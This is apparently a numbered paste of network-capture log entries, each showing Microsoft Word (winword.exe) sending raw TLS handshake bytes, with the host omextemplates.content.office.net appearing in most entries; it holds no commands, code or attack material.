  177. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8aa\\xd4\\xfcx:\\xcf\\x0c\\xdc\\xbc2\\xa3\\xcd7\\x17\\xff\\xb2\\xe7\\xbdo\\x18\\xe4yd\\xc5d\\xb6\\xb5\\x11\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  178.  
  179.  
  180. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8aa\\xec\\xb5x\n1ll)\\xad\\xf0\\x99\\x1euo\\xa2n\\x8a\\xa4> w\\xe4\\x02\\xe6\\x1f\\x1c\\x02\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  181.  
  182.  
  183. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8at\\x90(\\xdf\\xc6\\x10\\xbf\\xd3\\x84\\x96o\\xa8$\\xe5\\x1br\\xeb\\xd6$\\xde\\xba9+\\x07\\x9e\\x88\\xd3\\xe1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  184.  
  185.  
  186. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a3i\\xa4e3\\xb6\\x04\\x10\\xae\\x93\\xcc*\\xff\\x9bgq\\xb57\\xac\\x86\\xd9|\\x18\\x00\\xa4\\xf5\\xd0\\xfe\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  187.  
  188.  
  189. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a%mv\\x95\\x17v\\xc9a\\xe4\\xd6\\xe3\\xe8\\x1a\\x85\\x8f6\\xa5\\xdc\\x82g\\x85\\xea\\xc2\\xf3n\\x0c\\xea\\x16\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  190.  
  191.  
  192. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a+\\x8b\\x04\\x95\\xf8h\\xf2\\xa9\\x1b\\xfa\\xb6\\xac\\xd33\\xb4\\xe0\\xba^\\xea\\xe6\\x9dd\\xd8s\n3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  193.  
  194.  
  195. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\x92\\x85^\\x83\\xa5\\xbdx\\xd9j\\xb0\r\\x95\\xff\\x9e\\x8e\\xc5\\x80y\\xb47\\xb5\\xa5l\\x7f\\x1f\\xf2\\xc9\\xa6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  196.  
  197.  
  198. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a.!\\xb0\\xda\\x81\\xb4s\\xab\\x96;\\xf9\\xfc\\x14\\x8b)\t\\x8a\\xe3vt\\xff\\x8brg\\xd0/\\xe4\\x87\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  199.  
  200.  
  201. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\x97\\xf8\\xc7dt@0\\x83\\x8d%\\x9a\\xba:a\\xb2?\\xac|\\x0f\\x11d\\xe4\\x1b\\x88`\\x0czi\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  202.  
  203.  
  204. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\x00\\xd3\\x1cj\\x7f\\x84\\xd3e<\\xc7?\\xee\\xed\\x15\\xcez\\x1f1\\x99\\x8d\\x11\\x98\\xb3\rm\\xbeu\\xf7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  205.  
  206.  
  207. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a%\\x08@\\xfbc\\x15>\\x9b$\\xe8\\xe6\\x8087\\xa0\\xfb\\xc5\\xa8?\\x95y\\xebn\\xb1\\xfb\\x97v\\xb2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  208.  
  209.  
  210. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\x92d3;1\\x9ez\\x8b\\xe2\\xbe\\x0c\\xf2\\x9a\\xddb\\x86\\x8a\\xc2\\x98\\xcekh\\x10\\x8f\\xd9\\xdcz\\xa6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  211.  
  212.  
  213. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xf3zr\\x9d\\xb7\\xa0\\x15q#\\xbf\\xa3\\xe9\\x07\\xdd\\xec\\xc8\\xcd*\t\\x02\\x10\\xed\\xab~\\xdd\\xcd\\xd8\\xdf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  214.  
  215.  
  216. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xa7\\xee\\xa19y4/\\xfb\\xd1$\\x9b\\x9a\\x0c&y\\xdc\\xff\\xb8a\\x11\\x82d\\x7fsli\\xb5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  217.  
  218.  
  219. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a`\\xb0\\xfb\\xf5\\xe0\\x16\\x88\\xee\\xc0\\xbc\\x16\\xc7\\xa9\\xe5\\x9d\\x93\\xd0\\x04*m\\xadi\\xa9njw\\x9b\\xc9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  220.  
  221.  
  222. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xd4geh\\xe5nv\\xe4scf\\x04\\x16\\xac\\x11nc\\x90\\xd3z,e\\xedc\\x8d\\xe1l+\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  223.  
  224.  
  225. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\x9c\\x10\\x19f\\xd9u$\\x11\\x9a\\xa9@\\x10\\xdc\\x0e\\xfb\\x0e\\xd7\\xe8m\\xb4r\\xf8l\\xbc\\xbb:\\xfbb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  226.  
  227.  
  228. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a5\\xaa\\x8ch\\x81\\x1b\\xfd\\xbd\"\\x1b\\x0e\\xb3k\\xe7=d9(\\xbe\\xc5\\xc7\\xc0h0>\\xe1\\x97\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  229.  
  230.  
  231. "http_request": "winword.exe_WSASend_*\\x00\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a$\\x98\\x17\\xf4\\xbe\\xbd\\xcb\\x85c6\\x904j\\xea\\x04l)\\xd3\\xba\\x8d\\xdc9\\x87q\\xe2-\\x9f\\x00\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  232.  
  233.  
  234. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8awt(j\\xcb\\xc1\\xaa\\x8a\\xe8\\xd4;\\x98u\\x9a\\xe8p\\x05\\x90ubo\\xfd\\x05\\xea\\x9a\\x1ap\\xf1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  235.  
  236.  
  237. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\x8b\rv '.\\xce\\x056\\xe0\\xcad\\xa4uczm\\xe4\\xb1!j\\xf7\\x99w3)\\xf2\\xa5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  238.  
  239.  
  240. "http_request": "winword.exe_WSASend_\\x16\\x00\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xf07&\\xfc\\x0f\\x12#\"\\x98om7y\\x9eu\\x98\\x91r\\xd8z\\xa4g\\xa0-\\x93\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  241.  
  242.  
  243. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xf7/\\xb94\\xa0pt\\x8a\\xf4\\x866\\xfa-\\xf7\\xf6\\x82\\xdc\\xe7@\\x1f\\xdc\\xb6\\xab\\x075\\x82\\xc1\\x1b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  244.  
  245.  
  246. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\x1ei\\x05\\xa9z\\xc3\\x13\\x85p\\xd6t)\\x1d\\xd0d\\x06\\x83\\x1b\\x10\\xa7m\\x16\\xb3\\xb2\\xb0x\\x8b\\xd6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  247.  
  248.  
  249. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8ao\\x05\\xdc\\xcf\\x1b\\x13j\\xdd\\x98\\xe2\\xab\\x07\\x19i1\\xdc\\xd7\\xd4\\xe1-=\\xba\\xfa\\xeb\\xdc<\\xbag\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  250.  
  251.  
  252. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xce\\xe7\\\\x86\\x99\\x11&\\xde<\\xf53\\xc7p\\x06\\xbe\\xc1\\xb1%h\\xcc\\x13q\\xb61\\x10\\xdc\\xf4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  253.  
  254.  
  255. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xa7:so\\xee;\\x01\\x1c y\\xdd\\x031\t\\x98s\\x0b\\x1fj\\x8b$\\xf7c^p\\x00\\xa9\\xed\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  256.  
  257.  
  258. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9b0\\x16\\x83\\xce\\x1c,|\\xcc\\x14\\x9c\\xe4\\xb2>\\xad4h\\x8e#\\xdc\\x10\\xbf\\x94\\x87\\x86\\x8e!x\\x07jn\\xf1\\x9b\\xdd\\xbf\\xe2\\x82f0t\\xa1\\xaa\\xd7/uj\\xedi\\x15g\\x02\\x1f\\xf6\\xc3\\x18\\x06x\\xc6_fs*#\\x84\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000.\\xf3(\\x10\\x91\\x9by\\xcd\\xaed\\xbb\\x0e,)\\xa7\\xb2\\xa4\\x89\\x8a\\xff\\xc2\\xaa\\x95\\x1099a\\xb3\\x8d\\x1al\\xbe\\xb4\\xdb\\xf8\\x1d\\xf6\\xc86\\xa8\\xe8~\\x9a\\xf8\\xda\\xa1\\x19"
  259.  
  260.  
  261. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xfc\\xb9\\x92\\x1e\\xe8ufn\\xdd\\x13y\\xe9\\xc0\\xa3\\xf1\\xa7\\xd1\\xf2b\\xa9\\xcb\\x8cd,*\\x1c\\x12a\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  262.  
  263.  
  264. "http_request": "winword.exe_WSASend_\\x16\\x00\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xc3\\x86\\x97j\\xe2\\x98\\xf2\\x84\\x86\\xae\\xe7y>\\x1ew@\\x8dt\\xc7\\xe5\\x97\\xd1\\xda:n\\x80\\x0f\\xeb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  265.  
  266.  
  267. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04f\\x9b\\xef?\\x97a\\x18e\\xe4\\xb2\\xe4\\x13\\xb0\\x0f@\\x87\\x90a\\x91v\\xbc\\x13\\x84av\\x0fz5nq\\xa0\\xfc\\xc57\\xbc`\\x01\\x84\\xf9\\xa6\\xd6\\x8cd\\xe3u\\x9e0\\xd7a\\xdci\\x9e\\xce\\xe8\"\\xe2v\\x0f\\x14c\\xb28\\xcb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdeb`f$\\xd2\\x188\\xdf\\xef\\xc7\\xb08\\xba\"j\\xc7nnm\\x98\\x96\\xa2\\x97u\\xef&\\x04\\xdf\\xdfb\\x93ff\\x95\\xa1\\x9e\\xe5!\\xb6\\xd6n <\\x9ai"
  268.  
  269.  
  270. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xc3\\x1a8\\x92&\\x93,'\\xbeci;\\x18|\\x1au'e\\x1beq&\\x88\\xce=a(\\x82\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  271.  
  272.  
  273. "http_request": "winword.exe_WSASend_\\x16\\x00\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8av\\xa0\\xaan\\xa1\\x08\twif\\xe7rr1s\\xed7\\xa1\\xb4\\x18\\x90\\xce\\xe0zq\\x1c\\x80\\x7f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  274.  
  275.  
  276. "http_request": "winword.exe_WSASend_\\x16\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf6z\\\\xe6 \\x7f2;c\\xe4a\\x8f\\x8c\\xfa\\xf1\\x89\\xe9\\xca/\\x95\\xf2\\x8d%\\x97\\xdf1\\x10\\xcb\\xec\\xe1\\xe9a\\x05-f\\x0c\\x17\\xd1\\xfa\\xf7\\xdem\\xf0t\\xba\\xf57\\xb2\\xb1\\xa0gk\r\\xcf>\\xaa\\xbe\\xe1\\x8f\\x8d\\xd4\\x97\\xf3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000p\\x193m\t\\x89q\\xf1\\xae\\xc4vh\\xf1\\xc7z\\x04\\xdb\\xf6\\xe4\\xdb\\x04\\xb9\\xd4\\xf99\\x19\\x85m\\xdb\\xa8\\xaa\\x08ot\\xd6nb\\xe4__\\x8f\\x01#\\xe0\\xa1\\x89\\x82"
  277.  
  278.  
  279. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xe5v\\xe0\\xf4\\xa9h\\x87\\x00\\x8b\\xfe\\x88\\x0e\\xe5\\xb0\\xcew\\xaf\\x94\\x1c\\x15\\xef\\xc1\\x15e\\x12\\x9d\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  280.  
  281.  
  282. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x013\\xc5\\x8a\\xbe\\xba\\xceu0n\\xfb\\x1d\\xa0\\xe5\\x13\\xd1>\\x82\\x9cv\\xcd\\x1c\\xa1\\xf8\\xfc\t\\x83x$`\\x1ds\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  283.  
  284.  
